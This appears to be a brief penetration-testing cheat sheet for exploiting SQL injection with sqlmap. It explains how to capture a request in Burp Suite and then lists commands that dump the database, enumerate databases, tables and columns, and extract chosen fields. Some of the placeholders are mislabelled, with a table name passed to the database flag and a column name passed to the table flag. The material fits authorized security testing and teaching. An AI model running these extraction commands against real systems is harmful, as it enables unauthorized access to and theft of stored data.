Injection SQL

SQLmap

Use burpsuite to intercept request, save request as req and run the following command :

sqlmap -r req.txt --dump

Sqlmap, the Tool for Detecting and Exploiting SQL InjectionsVAADATA - Ethical Hacking Services

Exfiltrating database names

sqlmap -r req.txt --dbs

Listing the table names

sqlmap -r req.txt -D <table_name> --tables

Choosing an interesting table

sqlmap -r req.txt -D <table_name> -T <column_name> --columns

Listing the table data

sqlmap -r req.txt -D <table_name> -T <column_name> -C <champ1>,<champ2> --dump